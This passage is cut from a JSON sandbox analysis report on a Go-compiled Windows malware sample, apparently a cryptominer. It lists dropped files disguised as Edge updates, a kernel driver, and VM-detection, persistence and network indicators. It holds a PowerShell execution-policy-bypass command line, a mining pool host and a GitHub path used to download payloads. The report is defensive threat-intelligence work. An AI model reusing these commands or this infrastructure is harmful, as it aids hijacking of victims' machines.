strings","description":"$53","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:1336:304:WilStaging_02\"\n Process powershell.exe created mutex with name \"SM0:1336:304:WilStaging_02\"\n Process svcctrl3249_1523.exe created mutex with name \"\\BaseNamedObjects\\oybfmfpngkmtnawe\"\n Process svchost.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:792:304:WilStaging_02\"\n Process svchost.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:792:304:WilStaging_02\"\n Process svchost.exe created mutex with name \"\\BaseNamedObjects\\oybfmfpngkmtnawe\"\n Process svchost.exe created mutex with name \"Local\\SM0:792:304:WilStaging_02\"\n Process svchost.exe created mutex with name \"SM0:792:304:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\\\\def.ps1 C:\\\\\\\\\"\" (UID: 00000000-00001336)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$54","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"svcctrl3249_1523.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"$55","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$56","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$57","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$58","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Intercepted relevant COM error","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"Schedule.Service.1(\"GetFolder\").GetFolder\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...\n \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"Schedule.Service.1(\"GetFolder\").CreateFolder\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...","origin":"API Call","mitre_attack_id":"T1546.015","relevance":10,"id":"api-67","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$59","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 125F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 36420000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 44430000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 44430000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 431D0000\n \"svcctrl3249_1523.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 44430000\n \"svchost.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 44430000\n \"svchost.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 431D0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 13BF0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 46BA0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 46BA0000\n \"svcctrl3249_1523.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 46BA0000\n \"svchost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 46BA0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"$5a","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c79643fe7f0000@ntdll.dll\"\n \"220023000000000018c79643fe7f0000@ntdll.dll\"\n \"19001a000500000040c79643fe7f0000@ntdll.dll\"\n \"220023000500000018c79643fe7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" was detected as \"Go\" and name: \"Compiler\"\n \"svcctrl3249_1523.exe\" was detected as \"Go\" and name: \"Compiler\"\n \"nfpvxyybtomq.sys\" was detected as \"Go\" and name: \"Compiler\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$5c","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"nfpvxyybtomq.sys\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has an executable section named \".text\"\n \"svcctrl3249_1523.exe\" has an executable section named \".text\"\n \"nfpvxyybtomq.sys\" has an executable section named \".text\"\n \"nfpvxyybtomq.sys\" has an executable section named \"INIT\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has an writable section named \".data\"\n \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has an writable section named \".idata\"\n \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has an writable section named \".data2\"\n \"svcctrl3249_1523.exe\" has an writable section named \".data\"\n \"svcctrl3249_1523.exe\" has an writable section named \".tls\"\n \"nfpvxyybtomq.sys\" has an writable section named \".data\"\n \"nfpvxyybtomq.sys\" has an writable section named \"INIT\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$5d","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x13e400\" greater than 0x100000\n Raw size of \".rdata\" is \"0x178400\" greater than 0x100000\n Raw size of \".data\" is \"0x21fa00\" greater than 0x100000\n Raw size of \".data\" is \"0x26e000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x13e291\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x1783e8\" greater than 0x100000\n Virtual size of \".data\" is \"0x226afa0\" greater than 0x100000\n Virtual size of \".data\" is \"0x26e8c0\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has high imagebase \"0x140000000\"\n \"svcctrl3249_1523.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\"Go build ID: \"ZpPduSgFzOUHZNVNf6Kb/o05uEde9Bkl2xb1aKBVK/Y-4yQzBikdQNn_OoroYH/l2ZUxlr6-zsd21X6eDEu\"\" (Indicator: \"Go build ID: \"ZpPduSgFzOUHZNVNf6Kb/o05uEde9Bkl2xb1aKBVK/Y-4yQzBikdQNn_OoroYH/l2ZUxlr6-zsd21X6eDEu\")\" in Source: 66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe, \"Go build ID: \"ZpPduSgFzOUHZNVNf6Kb/o05uEde9Bkl2xb1aKBVK/Y-4yQzBikdQNn_OoroYH/l2ZUxlr6-zsd21X6eDEu\"\" (Indicator: \"Go build ID: \"ZpPduSgFzOUHZNVNf6Kb/o05uEde9Bkl2xb1aKBVK/Y-4yQzBikdQNn_OoroYH/l2ZUxlr6-zsd21X6eDEu\")\" in Source: 00000000-00003628.00000000.107958.2ECD1000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-74","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$5e","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"powershell.exe\" (UID: 00000000-00001336) was launched with new environment variables: \"USERDNSDOMAIN=\"n7gsbyOqyRsjRop\"\"\n Process \"powershell.exe\" (UID: 00000000-00001336) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"pool.hashvault.pro\"\n \"raw.githubusercontent.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"LOCALENAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"$script = [ScriptBl ...\" (UID: 00000000-00001336), Spawned process \"svcctrl3249_1523.exe\" (UID: 00000000-00007864), Spawned process \"svchost.exe\" (UID: 00000000-00000792)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"$script = [ScriptBl ...\" (UID: 00000000-00001336), Spawned process \"svcctrl3249_1523.exe\" (UID: 00000000-00007864), Spawned process \"svchost.exe\" (UID: 00000000-00000792)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 530761)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=HashVault, O=HashVault, L=HashVault, ST=HashVault, C=IT\" (SHA1: 7F:E5:7D:EC:21:36:E1:4F:ED:E6:07:14:DC:0F:AB:57:B2:6C:E4:36; see report for more information)\n The input sample is signed with a certificate issued by \"CN=YR1, O=Let's Encrypt, C=US\" (SHA1: 74:C6:36:18:2E:B8:A3:6D:CE:93:2C:D4:7A:AC:15:4F:69:3D:BA:61; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Root YR, O=ISRG, C=US\" (SHA1: CB:CF:D0:9C:E3:CD:22:D9:9D:94:E5:8F:92:E9:89:8F:BE:E5:1A:5E; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: AB:9D:02:63:24:4D:D0:32:6E:B6:70:15:70:5A:66:7E:79:CF:E9:98; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_30lqontp.eln.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xaibstc0.ocl.psm1\"\n \"svcctrl3249_1523.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\nfpvxyybtomq.sys\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"file/memory contains long string with (Indicator: \"CreateService\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"RegisterServiceCtrlHandler\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/update instances of WMI classes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-WmiInstance\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1546.003","relevance":1,"id":"string-336","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to perform scheduled task-related activity (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-ScheduledTask\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1053.005","relevance":1,"id":"string-335","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"svchost.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" has type \"PE32+ executable for MS Windows 6.01 (GUI) x86-64 10 sections\"- Location: [%APPDATA%\\Microsoft\\Edge\\Update\\Download\\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe]- [targetUID: 00000000-00003628]\n \"svcctrl3249_1523.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections\"- Location: [%APPDATA%\\Microsoft\\Edge\\Update\\Download\\Runtime\\svcctrl3249_1523.exe]- [targetUID: 00000000-00003628]\n \"nfpvxyybtomq.sys\" has type \"PE32+ executable for MS Windows 6.00 (native) x86-64 6 sections\"- Location: [%TEMP%\\nfpvxyybtomq.sys]- [targetUID: 00000000-00007864]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001336]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$61","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" queries basic process information of the \"C:\\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" (UID: 3628)\n \"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 1336)\n \"svcctrl3249_1523.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Edge\\Update\\Download\\Runtime\\svcctrl3249_1523.exe\" (UID: 7864)\n \"svchost.exe\" queries basic process information of the \"C:\\Windows\\System32\\svchost.exe\" (UID: 792)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$62","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" reads file \"c:\\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"References task scheduler-related strings","description":"$63","origin":"File/Memory","mitre_attack_id":"T1053","relevance":1,"id":"string-401","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$64","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$65","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$66","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$67","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" writes file \"\\device\\namedpipe\"\n \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\edge\\update\\download\\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"getcomputernameexa\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"$68","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Able to use vulnerability or port scanning tools","description":"file/memory contains long string with (Indicator: \"nmap -sa\"; File: \"nfpvxyybtomq.sys\")","origin":"File/Memory","mitre_attack_id":"T1595.002","relevance":1,"id":"string-996","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /qolewoqogu039-dotcom/test123/refs/heads/main/0910\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API 